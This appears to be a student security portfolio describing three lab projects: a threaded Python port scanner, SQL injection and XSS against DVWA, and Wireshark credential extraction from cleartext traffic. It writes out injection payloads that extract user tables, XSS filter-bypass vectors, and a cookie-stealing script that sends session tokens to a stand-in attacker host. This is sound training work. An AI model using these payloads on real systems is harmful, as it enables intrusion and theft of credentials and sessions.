Jaynil
Modi.

Network reconnaissance is the first stage of any security assessment. Before an attacker or a defender can evaluate exposure, they need to know which hosts are reachable and which services are listening. Understanding how port scanning works at the socket level — not just as a black-box tool — is foundational for both offensive and defensive roles. Nmap abstracts most of this; building a scanner from scratch exposes the underlying mechanics.

• Build a functional TCP port scanner using Python's socket library without third-party scanning frameworks
• Implement multi-threading to reduce scan time on wide port ranges
• Add service banner grabbing to identify running application versions
• Understand and demonstrate the TCP three-way handshake at code level

• Python 3 — socket, threading, queue modules
• Kali Linux — execution environment
• Local test VM (Metasploitable 2) — scan target
• Wireshark — packet-level verification of scan behavior

1. Socket initialization: Create a raw TCP socket using socket.AF_INET, socket.SOCK_STREAM. Set a connection timeout (default 1 second) to prevent indefinite blocking on filtered ports.
2. Connection attempt: Call socket.connect_ex(host, port) — returns 0 if the TCP handshake completes (port open), non-zero on refusal or timeout.
3. Banner grabbing: On a successful connection, send an HTTP GET or empty payload, then call socket.recv(1024) to retrieve the service banner. Decode and strip the response.
4. Threading: Divide the port range across N worker threads using a shared queue. Each thread pulls a port from the queue, attempts connection, logs result, and fetches the next port.
5. Output: Write results to stdout and a JSON file with structure: {port, state, service_banner, timestamp}.
6. Verification: Cross-check results against an Nmap scan of the same host. Validate open/closed state matches; compare banner data.

Observation: vsFTPd 2.3.4 is a well-known backdoored version (CVE-2011-2523). The scanner identified it via banner; this finding would trigger targeted follow-up in a real assessment.

Injection vulnerabilities remain consistently in the OWASP Top 3 despite being well-understood and preventable. The gap is not awareness but application: developers often fail to enforce input validation and parameterized queries consistently. Cross-site scripting persists for the same reason — insufficient output encoding. This lab replicates both vulnerability classes from first principles to build a tester's mental model of how they work mechanically.

• Demonstrate SQL injection against login forms and GET/POST parameters to extract database contents
• Demonstrate stored and reflected XSS to understand client-side execution mechanics
• Use Burp Suite to intercept, modify, and replay HTTP requests during testing
• Document each attack vector and its corresponding defense mechanism

• DVWA (Damn Vulnerable Web Application) — hosted on local Apache/PHP stack
• Burp Suite Community — HTTP proxy, repeater, intruder
• Kali Linux — attacker machine
• Firefox with FoxyProxy — browser routing through Burp
• MySQL — backend database targeted in SQLi tests

1. Identify injection point: Submit ' (single quote) into the User ID field. Observe MySQL error message — confirms string is interpolated directly into a query.
2. Determine column count: Use ORDER BY increments (1' ORDER BY 1--, then 2, then 3) until an error occurs. Column count = last successful ordinal.
3. UNION injection: Construct a UNION SELECT to append a second query: 1' UNION SELECT null,database()-- — returns current database name in the output field.
4. Enumerate tables: Query information_schema: 1' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database()--
5. Extract credentials: Target the users table: 1' UNION SELECT user,password FROM users-- — retrieves MD5-hashed passwords. Identify hash type and attempt offline crack using a wordlist.

1. Reflected XSS: Submit <script>alert('XSS')</script> into the name parameter. Observe whether the script tag is reflected back unencoded and executes in the browser.
2. Stored XSS: Submit the same payload into the comment/message field. Verify the payload persists in the database and executes for every user who loads the page containing that record.
3. Cookie theft simulation: Replace the alert with <script>document.location='http://attacker.local/?c='+document.cookie</script> to demonstrate how an attacker would exfiltrate session tokens.
4. Burp interception: Route all requests through Burp Suite. Use Repeater to test payload variations without resubmitting through the browser form each time.
5. Filter bypass (medium security level): DVWA's medium level strips <script>. Test alternate vectors: <img src=x onerror=alert(1)> and event-handler injection to demonstrate that blocklisting tag names is insufficient.

Network traffic contains a significant amount of information about system behavior, active sessions, and in some cases, plaintext credentials. SOC analysts and network defenders rely on packet analysis to detect anomalies, investigate incidents, and understand attack timelines. This project builds the skill of reading raw pcap data — identifying protocol structure, filtering for relevant streams, and extracting meaningful forensic artifacts from captured traffic.

• Capture live network traffic from a local lab environment using Wireshark
• Analyze cleartext protocols (HTTP, FTP, Telnet) to extract transmitted credentials
• Identify a simulated port scan pattern in packet data
• Reconstruct an HTTP session using TCP stream following
• Practice building display filters to isolate specific traffic classes

• Wireshark 4.x — packet capture and analysis
• Kali Linux + Metasploitable 2 — lab network (host-only adapter)
• FTP, HTTP, Telnet — cleartext protocols used in controlled tests
• Nmap — used to generate recognizable scan traffic for analysis
• tshark — CLI-based filtering and extraction for specific exercises

1. Interface selection and capture filter: Launch Wireshark, select the virtual interface connected to the lab network. Apply capture filter host 192.168.56.101 to reduce noise and limit capture to target traffic only.
2. FTP credential extraction: Initiate an FTP login to the target from a second terminal. Apply display filter ftp. Locate the USER and PASS commands in the packet list — these transmit in plaintext. Verify username and password are directly visible in the packet payload field.
3. HTTP session reconstruction: Browse to the target's HTTP service. Apply filter http.request.method == "POST" to isolate form submissions. Right-click a relevant packet → Follow → TCP Stream. View the full HTTP request including POST body containing form field data.
4. Port scan identification: Run an Nmap SYN scan against the target. In Wireshark, filter tcp.flags.syn==1 && tcp.flags.ack==0 to display SYN-only packets. Observe the pattern: rapid sequential SYN packets to incrementing port numbers from one source IP — characteristic scan signature.
5. Telnet credential capture: Initiate a Telnet session. Filter telnet. Note that each keypress is transmitted as an individual packet. Use Follow TCP Stream to reconstruct the full session including login credentials and commands entered.
6. Artifact documentation: Export relevant packets as a filtered pcap file. Write analysis notes referencing packet numbers, timestamps, source/destination pairs, and extracted data for each finding.